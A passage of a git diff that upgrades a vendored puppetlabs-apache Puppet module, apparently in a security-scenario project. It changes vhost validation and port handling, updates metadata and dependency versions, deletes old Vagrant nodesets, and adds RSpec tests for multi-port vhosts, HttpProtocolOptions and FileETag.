@@ define apache::vhost( $apache_name = $::apache::apache_name - validate_re($ensure, '^(present|absent)$', - "${ensure} is not supported for ensure. - Allowed values are 'present' and 'absent'.") - validate_re($suphp_engine, '^(on|off)$', - "${suphp_engine} is not supported for suphp_engine. - Allowed values are 'on' and 'off'.") - validate_bool($ip_based) - validate_bool($access_log) - validate_bool($error_log) - if $modsec_audit_log != undef { - validate_bool($modsec_audit_log) - } - validate_bool($ssl) - validate_bool($default_vhost) - validate_bool($ssl_proxyengine) - if $ssl_stapling != undef { - validate_bool($ssl_stapling) + if $http_protocol_options != undef { + validate_re($http_protocol_options, '^((Strict|Unsafe)?\s*(\b(RegisteredMethods|LenientMethods))?\s*(\b(Allow0\.9|Require1\.0))?)$', + "${http_protocol_options} is not supported for http_protocol_options. + Allowed value is any sequence of the following alternative values: + 'Strict' or Unsafe, 'RegisteredMethods' or 'LenientMethods', and + 'Allow0.9' or 'Require1.0'.") } if $rewrites { - validate_array($rewrites) unless empty($rewrites) { $rewrites_flattened = delete_undef_values(flatten([$rewrites])) validate_hash($rewrites_flattened[0]) @@ -211,49 +204,6 @@ define apache::vhost( "${suexec_user_group} is not supported for suexec_user_group. Must be 'user group'.") } - if $wsgi_pass_authorization { - validate_re(downcase($wsgi_pass_authorization), '^(on|off)$', - "${wsgi_pass_authorization} is not supported for wsgi_pass_authorization. - Allowed values are 'on' and 'off'.") - } - - if $wsgi_chunked_request { - validate_re(downcase($wsgi_chunked_request), '^(on|off)$', - "${wsgi_chunked_request} is not supported for wsgi_chunked_request. - Allowed values are 'on' and 'off'.") - } - - # Deprecated backwards-compatibility - if $rewrite_base { - warning('Apache::Vhost: parameter rewrite_base is deprecated in favor of rewrites') - } - if $rewrite_rule { - warning('Apache::Vhost: parameter rewrite_rule is deprecated in favor of rewrites') - } - if $rewrite_cond { - warning('Apache::Vhost parameter rewrite_cond is deprecated in favor of rewrites') - } - - if $wsgi_script_aliases { - validate_hash($wsgi_script_aliases) - } - if $wsgi_script_aliases_match { - validate_hash($wsgi_script_aliases_match) - } - if $wsgi_daemon_process_options { - validate_hash($wsgi_daemon_process_options) - } - if $wsgi_import_script_options { - validate_hash($wsgi_import_script_options) - } - if $itk { - validate_hash($itk) - } - - validate_re($logroot_ensure, '^(directory|absent)$', - "${logroot_ensure} is not supported for logroot_ensure. - Allowed values are 'directory' and 'absent'.") - if $log_level { validate_apache_log_level($log_level) } @@ -270,47 +220,8 @@ define apache::vhost( fail("Apache::Vhost[${name}]: 'modsec_audit_log_file' and 'modsec_audit_log_pipe' cannot be defined at the same time") } - if $fallbackresource { - validate_re($fallbackresource, '^/|disabled', 'Please make sure fallbackresource starts with a / (or is "disabled")') - } - - if $custom_fragment { - validate_string($custom_fragment) - } - - if $allow_encoded_slashes { - validate_re($allow_encoded_slashes, '(^on$|^off$|^nodecode$)', "${allow_encoded_slashes} is not permitted for allow_encoded_slashes. Allowed values are 'on', 'off' or 'nodecode'.") - } - - validate_bool($auth_kerb) - - # Validate the docroot as a string if: - # - $manage_docroot is true - if $manage_docroot { - validate_string($docroot) - } - - if $ssl_proxy_verify { - validate_re($ssl_proxy_verify,'^(none|optional|require|optional_no_ca)$',"${ssl_proxy_verify} is not permitted for ssl_proxy_verify. Allowed values are 'none', 'optional', 'require' or 'optional_no_ca'.") - } - - if $ssl_proxy_check_peer_cn { - validate_re($ssl_proxy_check_peer_cn,'(^on$|^off$)',"${ssl_proxy_check_peer_cn} is not permitted for ssl_proxy_check_peer_cn. Allowed values are 'on' or 'off'.") - } - if $ssl_proxy_check_peer_name { - validate_re($ssl_proxy_check_peer_name,'(^on$|^off$)',"${ssl_proxy_check_peer_name} is not permitted for ssl_proxy_check_peer_name. Allowed values are 'on' or 'off'.") - } - - if $ssl_proxy_check_peer_expire { - validate_re($ssl_proxy_check_peer_expire,'(^on$|^off$)',"${ssl_proxy_check_peer_expire} is not permitted for ssl_proxy_check_peer_expire. Allowed values are 'on' or 'off'.") - } - - if $keepalive { - validate_re($keepalive,'(^on$|^off$)',"${keepalive} is not permitted for keepalive. Allowed values are 'on' or 'off'.") - } - - if $passenger_sticky_sessions { - validate_bool($passenger_sticky_sessions) + if $ssl_proxy_verify_depth { + validate_integer($ssl_proxy_verify_depth) } # Input validation ends @@ -337,7 +248,7 @@ define apache::vhost( include ::apache::mod::suexec } - if $passenger_app_root or $passenger_app_env or $passenger_ruby or $passenger_min_instances or $passenger_start_timeout or $passenger_pre_start or $passenger_user or $passenger_high_performance or $passenger_nodejs or $passenger_sticky_sessions or $passenger_startup_file { + if $passenger_app_root or $passenger_app_env or $passenger_ruby or $passenger_min_instances or $passenger_max_requests or $passenger_start_timeout or $passenger_pre_start or $passenger_user or $passenger_high_performance or $passenger_nodejs or $passenger_sticky_sessions or $passenger_startup_file { include ::apache::mod::passenger } @@ -392,7 +303,12 @@ define apache::vhost( if $access_log and !$access_logs { if $access_log_file { - $_logs_dest = "${logroot}/${access_log_file}" + if $access_log_file =~ /^\// { + # Absolute path provided - don't prepend $logroot + $_logs_dest = $access_log_file + } else { + $_logs_dest = "${logroot}/${access_log_file}" + } } elsif $access_log_pipe { $_logs_dest = $access_log_pipe } elsif $access_log_syslog { @@ -415,7 +331,12 @@ define apache::vhost( } if $error_log_file { - $error_log_destination = "${logroot}/${error_log_file}" + if $error_log_file =~ /^\// { + # Absolute path provided - don't prepend $logroot + $error_log_destination = $error_log_file + } else { + $error_log_destination = "${logroot}/${error_log_file}" + } } elsif $error_log_pipe { $error_log_destination = $error_log_pipe } elsif $error_log_syslog { @@ -446,10 +367,11 @@ define apache::vhost( if $ip { - $_ip = enclose_ipv6($ip) + $_ip = any2array(enclose_ipv6($ip)) if $port { - $listen_addr_port = suffix(any2array($_ip),":${port}") - $nvh_addr_port = suffix(any2array($_ip),":${port}") + $_port = any2array($port) + $listen_addr_port = split(inline_template("<%= @_ip.product(@_port).map {|x| x.join(':') }.join(',')%>"), ',') + $nvh_addr_port = split(inline_template("<%= @_ip.product(@_port).map {|x| x.join(':') }.join(',')%>"), ',') } else { $listen_addr_port = undef $nvh_addr_port = $_ip @@ -460,7 +382,7 @@ define apache::vhost( } else { if $port { $listen_addr_port = $port - $nvh_addr_port = "${vhost_name}:${port}" + $nvh_addr_port = prefix(any2array($port),"${vhost_name}:") } else { $listen_addr_port = undef $nvh_addr_port = $name @@ -474,18 +396,12 @@ define apache::vhost( fail("Apache::Vhost[${name}]: Mixing IP and non-IP Listen directives is not possible; check the add_listen parameter of the apache::vhost define to disable this") } if $listen_addr_port and $ensure == 'present' { - # SECGEN CHANGES:: DO NOT REVERT - apache::listen { $listen_addr_port: - port => $port, - } + ensure_resource('apache::listen', $listen_addr_port) } } if ! $ip_based { if $ensure == 'present' and (versioncmp($apache_version, '2.4') < 0) { - # SECGEN CHANGES:: DO NOT REVERT -- Enables multiple modules to run with separate ports - ::apache::namevirtualhost{$nvh_addr_port: - port => $port, - } + ensure_resource('apache::namevirtualhost', $nvh_addr_port) } } @@ -835,7 +751,7 @@ define apache::vhost( # - $proxy_preserve_host # - $proxy_add_headers # - $no_proxy_uris - if $proxy_dest or $proxy_pass or $proxy_pass_match or $proxy_dest_match { + if $proxy_dest or $proxy_pass or $proxy_pass_match or $proxy_dest_match or $proxy_preserve_host { concat::fragment { "${name}-proxy": target => "${priority_real}${filename}.conf", order => 160, @@ -960,6 +876,8 @@ define apache::vhost( # Template uses: # - $ssl_proxyengine # - $ssl_proxy_verify + # - $ssl_proxy_verify_depth + # - $ssl_proxy_ca_cert # - $ssl_proxy_check_peer_cn # - $ssl_proxy_check_peer_name # - $ssl_proxy_check_peer_expire @@ -1079,6 +997,7 @@ define apache::vhost( # - $passenger_app_env # - $passenger_ruby # - $passenger_min_instances + # - $passenger_max_requests # - $passenger_start_timeout # - $passenger_pre_start # - $passenger_user @@ -1161,6 +1080,16 @@ define apache::vhost( } } + # Template uses: + # - $http_protocol_options + if $http_protocol_options { + concat::fragment { "${name}-http_protocol_options": + target => "${priority_real}${filename}.conf", + order => 350, + content => template('apache/vhost/_http_protocol_options.erb'), + } + } + # Template uses no variables concat::fragment { "${name}-file_footer": target => "${priority_real}${filename}.conf", diff --git a/modules/services/unix/http/apache/metadata.json b/modules/services/unix/http/apache/metadata.json index 7bb2f12db..a7aa8e164 100644 --- a/modules/services/unix/http/apache/metadata.json +++ b/modules/services/unix/http/apache/metadata.json @@ -1,15 +1,21 @@ { "name": "puppetlabs-apache", - "version": "1.11.0", - "author": "puppetlabs", + "version": "2.0.0", + "author": "puppet", "summary": "Installs, configures, and manages Apache virtual hosts, web services, and modules.", "license": "Apache-2.0", "source": "git://github.com/puppetlabs/puppetlabs-apache.git", "project_page": "https://github.com/puppetlabs/puppetlabs-apache", "issues_url": "https://tickets.puppetlabs.com/browse/MODULES", "dependencies": [ - {"name":"puppetlabs/stdlib","version_requirement":">= 4.2.0 < 5.0.0"}, - {"name":"puppetlabs/concat","version_requirement":">= 1.1.1 < 3.0.0"} + { + "name": "puppetlabs/stdlib", + "version_requirement": ">= 4.13.1 < 5.0.0" + }, + { + "name": "puppetlabs/concat", + "version_requirement": ">= 2.2.1 < 5.0.0" + } ], "data_provider": null, "operatingsystem_support": [ @@ -72,7 +78,7 @@ "requirements": [ { "name": "puppet", - "version_requirement": ">= 3.0.0 < 5.0.0" + "version_requirement": ">= 4.7.0 < 6.0.0" } ], "description": "Module for Apache configuration" diff --git a/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb b/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb old mode 100644 new mode 100755 index 923df6666..2ba1a4452 --- a/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb +++ b/modules/services/unix/http/apache/spec/acceptance/apache_parameters_spec.rb @@ -237,6 +237,25 @@ describe 'apache parameters' do end end + describe 'http_protocol_options' do + # Actually >= 2.4.24, but the minor version is not provided + # https://bugs.launchpad.net/ubuntu/+source/apache2/2.4.7-1ubuntu4.15 + # basically versions of the ubuntu or sles apache package cause issue + if $apache_version >= '2.4' && fact('operatingsystem') !~ /Ubuntu|SLES/ + describe 'setup' do + it 'applies cleanly' do + pp = "class { 'apache': http_protocol_options => 'Unsafe RegisteredMethods Require1.0'}" + apply_manifest(pp, :catch_failures => true) + end + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'HttpProtocolOptions Unsafe RegisteredMethods Require1.0' } + end + end + end + describe 'server_root' do describe 'setup' do it 'applies cleanly' do @@ -353,14 +372,14 @@ describe 'apache parameters' do describe 'keepalive' do describe 'setup' do it 'applies cleanly' do - pp = "class { 'apache': keepalive => 'On', keepalive_timeout => '30', max_keepalive_requests => '200' }" + pp = "class { 'apache': keepalive => 'Off', keepalive_timeout => '30', max_keepalive_requests => '200' }" apply_manifest(pp, :catch_failures => true) end end describe file($conf_file) do it { is_expected.to be_file } - it { is_expected.to contain 'KeepAlive On' } + it { is_expected.to contain 'KeepAlive Off' } it { is_expected.to contain 'KeepAliveTimeout 30' } it { is_expected.to contain 'MaxKeepAliveRequests 200' } end @@ -483,6 +502,22 @@ describe 'apache parameters' do end end + describe 'file_e_tag' do + it 'applys cleanly' do + pp = <<-EOS + class { 'apache': + file_e_tag => 'None', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'FileETag None' } + end + end + describe 'package_ensure' do it 'applys cleanly' do pp = <<-EOS diff --git a/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb b/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb index ab241e455..35706c9a2 100644 --- a/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb +++ b/modules/services/unix/http/apache/spec/acceptance/default_mods_spec.rb @@ -19,38 +19,40 @@ describe 'apache::default_mods class' do end end - describe 'no default mods and failing' do - before :all do - pp = <<-PP - include apache::params - class { 'apache': default_mods => false, service_ensure => stopped, } - PP - apply_manifest(pp) - end - # Using puppet_apply as a helper - it 'should apply with errors' do - pp = <<-EOS - class { 'apache': - default_mods => false, - } - apache::vhost { 'defaults.example.com': - docroot => '#{$doc_root}/defaults', - aliases => { - alias => '/css', - path => '#{$doc_root}/css', - }, - directories => [ - { - 'path' => "#{$doc_root}/admin", - 'auth_basic_fake' => 'demo demopass', - } - ], - setenv => 'TEST1 one', - } - EOS + unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemmajrelease') == '12') + describe 'no default mods and failing' do + before :all do + pp = <<-PP + include apache::params + class { 'apache': default_mods => false, service_ensure => stopped, } + PP + apply_manifest(pp) + end + # Using puppet_apply as a helper + it 'should apply with errors' do + pp = <<-EOS + class { 'apache': + default_mods => false, + } + apache::vhost { 'defaults.example.com': + docroot => '#{$doc_root}/defaults', + aliases => { + alias => '/css', + path => '#{$doc_root}/css', + }, + directories => [ + { + 'path' => "#{$doc_root}/admin", + 'auth_basic_fake' => 'demo demopass', + } + ], + setenv => 'TEST1 one', + } + EOS - apply_manifest(pp, { :expect_failures => true }) - end + apply_manifest(pp, { :expect_failures => true }) + end + end describe service($service_name) do it { is_expected.not_to be_running } diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb b/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb index c88d59448..1455d5630 100644 --- a/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb +++ b/modules/services/unix/http/apache/spec/acceptance/mod_pagespeed_spec.rb @@ -1,35 +1,20 @@ require 'spec_helper_acceptance' require_relative './version.rb' -# Don't run this test on Debian < 8 or Ubuntu < 12, because Debian doesn't like -# updating packages and Pagespeed doesn't like old packages. -describe 'apache::mod::pagespeed class', :unless => - ((fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') < '8') or - (fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemmajrelease') < '12') or - (fact('operatingsystem') == 'SLES' )) do +# Only run the test on centos 7, this is to cut down on the different types of setup +# required. Installing the dependancies are highly prone to failure. +describe 'apache::mod::pagespeed class', :if => + ((fact('operatingsystem') == 'CentOS' ) and + (fact('operatingsystemmajrelease') == '7' )) do context "default pagespeed config" do it 'succeeds in puppeting pagespeed' do pp= <<-EOS - if $::osfamily == 'Debian' { - class { 'apt': } - - apt::source { 'mod-pagespeed': - key => '7FAC5991', - key_server => 'pgp.mit.edu', - location => 'http://dl.google.com/linux/mod-pagespeed/deb/', - release => 'stable', - repos => 'main', - include_src => false, - before => Class['apache'], - } - } elsif $::osfamily == 'RedHat' { - yumrepo { 'mod-pagespeed': - baseurl => "http://dl.google.com/linux/mod-pagespeed/rpm/stable/$::architecture", - enabled => 1, - gpgcheck => 1, - gpgkey => 'https://dl-ssl.google.com/linux/linux_signing_key.pub', - before => Class['apache'], - } + yumrepo { 'mod-pagespeed': + baseurl => "http://dl.google.com/linux/mod-pagespeed/rpm/stable/$::architecture", + enabled => 1, + gpgcheck => 1, + gpgkey => 'https://dl-ssl.google.com/linux/linux_signing_key.pub', + before => Class['apache'], } class { 'apache': @@ -54,11 +39,7 @@ describe 'apache::mod::pagespeed class', :unless => end describe service($service_name) do - if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') - pending 'Should be enabled - Bug 760616 on Debian 8' - else - it { should be_enabled } - end + it { should be_enabled } it { is_expected.to be_running } end diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb b/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb index 45b901fae..59be2baaa 100644 --- a/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb +++ b/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper_acceptance' require_relative './version.rb' -unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemrelease') == '12.0') +unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemmajrelease') == '12') describe 'apache::mod::php class' do context "default php config" do it 'succeeds in puppeting php' do diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml deleted file mode 100644 index 2ab005204..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - centos-70-x64: - roles: - - master - platform: el-7-x86_64 - box : puppetlabs/centos-7.0-64-nocm - box_url : https://vagrantcloud.com/puppetlabs/boxes/centos-7.0-64-nocm - hypervisor : vagrant -CONFIG: - log_level: verbose - type: foss diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml deleted file mode 100644 index e642e0992..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - debian-607-x64: - roles: - - master - platform: debian-6-amd64 - box : debian-607-x64-vbox4210-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-607-x64-vbox4210-nocm.box - hypervisor : vagrant -CONFIG: - log_level: debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml deleted file mode 100644 index cbbbfb2cc..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - debian-70rc1-x64: - roles: - - master - platform: debian-7-amd64 - box : debian-70rc1-x64-vbox4210-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-70rc1-x64-vbox4210-nocm.box - hypervisor : vagrant -CONFIG: - log_level: debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml deleted file mode 100644 index a38902d89..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - debian-73-i386: - roles: - - master - platform: debian-7-i386 - box : debian-73-i386-virtualbox-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-73-i386-virtualbox-nocm.box - hypervisor : vagrant -CONFIG: - log_level: debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml deleted file mode 100644 index f9cf0c9b8..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - debian-73-x64: - roles: - - master - platform: debian-7-amd64 - box : debian-73-x64-virtualbox-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/debian-73-x64-virtualbox-nocm.box - hypervisor : vagrant -CONFIG: - log_level: debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml deleted file mode 100644 index 800c49aaa..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml +++ /dev/null @@ -1,10 +0,0 @@ -HOSTS: - debian-82: - roles: - - master - platform: debian-8-amd64 - box: puppetlabs/debian-8.2-64-nocm - hypervisor: vagrant -CONFIG: - log_level: debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml deleted file mode 100644 index 086cae995..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - fedora-18-x64: - roles: - - master - platform: fedora-18-x86_64 - box : fedora-18-x64-vbox4210-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/fedora-18-x64-vbox4210-nocm.box - hypervisor : vagrant -CONFIG: - log_level: debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml deleted file mode 100644 index 5ca1514e4..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml +++ /dev/null @@ -1,10 +0,0 @@ -HOSTS: - ubuntu-server-10044-x64: - roles: - - master - platform: ubuntu-10.04-amd64 - box : ubuntu-server-10044-x64-vbox4210-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-10044-x64-vbox4210-nocm.box - hypervisor : vagrant -CONFIG: - type: foss diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml deleted file mode 100644 index d065b304f..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml +++ /dev/null @@ -1,10 +0,0 @@ -HOSTS: - ubuntu-server-12042-x64: - roles: - - master - platform: ubuntu-12.04-amd64 - box : ubuntu-server-12042-x64-vbox4210-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-12042-x64-vbox4210-nocm.box - hypervisor : vagrant -CONFIG: - type: foss diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml deleted file mode 100644 index f4b2366f3..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - ubuntu-server-1310-x64: - roles: - - master - platform: ubuntu-13.10-amd64 - box : ubuntu-server-1310-x64-vbox4210-nocm - box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-1310-x64-virtualbox-nocm.box - hypervisor : vagrant -CONFIG: - log_level : debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml deleted file mode 100644 index cba1cd04c..000000000 --- a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml +++ /dev/null @@ -1,11 +0,0 @@ -HOSTS: - ubuntu-server-1404-x64: - roles: - - master - platform: ubuntu-14.04-amd64 - box : puppetlabs/ubuntu-14.04-64-nocm - box_url : https://vagrantcloud.com/puppetlabs/ubuntu-14.04-64-nocm - hypervisor : vagrant -CONFIG: - log_level : debug - type: git diff --git a/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb b/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb index 200a83d22..dae411538 100644 --- a/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb +++ b/modules/services/unix/http/apache/spec/acceptance/vhost_spec.rb @@ -260,6 +260,135 @@ describe 'apache::vhost define' do end end + context 'new vhost with multiple ports on 1 IP address' do + it 'should configure one apache vhost with 2 ports' do + pp = <<-EOS + class { 'apache': + default_vhost => false, + } + apache::vhost { 'example.com': + port => ['80','8080'], + ip => '127.0.0.1', + ip_based => true, + docroot => '/var/www/html', + } + host { 'host1.example.com': ip => '127.0.0.1', } + file { '/var/www/html/index.html': + ensure => file, + content => "Hello from vhost\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$vhost_dir}/25-example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName example.com" } + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen 127.0.0.1:80' } + it { is_expected.to contain 'Listen 127.0.0.1:8080' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:8080' } + end + + it 'should answer to host1.example.com port 80' do + shell("/usr/bin/curl host1.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host1.example.com port 8080' do + shell("/usr/bin/curl host1.example.com:8080", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + end + + context 'new vhost with multiple IP addresses on multiple ports' do + it 'should configure one apache vhost with 2 ip addresses and 2 ports' do + pp = <<-EOS + class { 'apache': + default_vhost => false, + } + apache::vhost { 'example.com': + port => ['80', '8080'], + ip => ['127.0.0.1','127.0.0.2'], + ip_based => true, + docroot => '/var/www/html', + } + host { 'host1.example.com': ip => '127.0.0.1', } + host { 'host2.example.com': ip => '127.0.0.2', } + file { '/var/www/html/index.html': + ensure => file, + content => "Hello from vhost\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$vhost_dir}/25-example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName example.com" } + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen 127.0.0.1:80' } + it { is_expected.to contain 'Listen 127.0.0.1:8080' } + it { is_expected.to contain 'Listen 127.0.0.2:80' } + it { is_expected.to contain 'Listen 127.0.0.2:8080' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:8080' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.2:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.2:8080' } + end + + it 'should answer to host1.example.com port 80' do + shell("/usr/bin/curl host1.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host1.example.com port 8080' do + shell("/usr/bin/curl host1.example.com:8080", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host2.example.com port 80' do + shell("/usr/bin/curl host2.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host2.example.com port 8080' do + shell("/usr/bin/curl host2.example.com:8080", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + end + context 'new vhost with IPv6 address on port 80', :ipv6 do it 'should configure one apache vhost with an ipv6 address' do pp = <<-EOS @@ -1460,21 +1589,18 @@ describe 'apache::vhost define' do location => $_location, release => $_release, repos => $_repos, - include_src => false, } apt::source { "${_os}_${_release}-updates": location => $_location, release => "${_release}-updates", repos => $_repos, - include_src => false, } apt::source { "${_os}_${_release}-security": location => $_security_location, release => $_release_security, repos => $_repos, - include_src => false, } EOS diff --git a/modules/services/unix/http/apache/spec/classes/apache_spec.rb b/modules/services/unix/http/apache/spec/classes/apache_spec.rb index 6eef4ba24..715ed4124 100644 --- a/modules/services/unix/http/apache/spec/classes/apache_spec.rb +++ b/modules/services/unix/http/apache/spec/classes/apache_spec.rb @@ -110,6 +110,14 @@ describe 'apache', :type => :class do it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^AllowEncodedSlashes nodecode$} } end + context "when specifying fileETag behaviour" do + let :params do + { :file_e_tag => 'None' } + end + + it { is_expected.to contain_file("/etc/apache2/apache2.conf").with_content %r{^FileETag None$} } + end + context "when specifying default character set" do let :params do { :default_charset => 'none' } @@ -555,12 +563,6 @@ describe 'apache', :type => :class do it { is_expected.not_to contain_class('apache::mod::peruser') } it { is_expected.not_to contain_class('apache::mod::prefork') } end - context "when declaring mpm_module => breakme" do - let :params do - { :mpm_module => 'breakme' } - end - it { expect { catalogue }.to raise_error Puppet::Error, /does not match/ } - end end describe "different templates for httpd.conf" do diff --git a/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb index 74b6827d0..0f77a627e 100644 --- a/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb +++ b/modules/services/unix/http/apache/spec/classes/mod/auth_kerb_spec.rb @@ -74,4 +74,33 @@ describe 'apache::mod::auth_kerb', :type => :class do it { is_expected.to contain_package("www-apache/mod_auth_kerb") } end end + context "overriding mod_packages" do + context "on a RedHat OS", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + let :pre_condition do + <<-EOS + include apache::params + class { 'apache': + mod_packages => merge($::apache::params::mod_packages, { + 'auth_kerb' => 'httpd24-mod_auth_kerb', + }) + } + EOS + end + it { is_expected.to contain_apache__mod("auth_kerb") } + it { is_expected.to contain_package("httpd24-mod_auth_kerb") } + it { is_expected.to_not contain_package("mod_auth_kerb") } + end + end end diff --git a/modules/services/unix/http/apache/spec/classes/mod/authnz_pam_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/authnz_pam_spec.rb new file mode 100644 index 000000000..4bceeab85 --- /dev/null +++ b/modules/services/unix/http/apache/spec/classes/mod/authnz_pam_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' + +describe 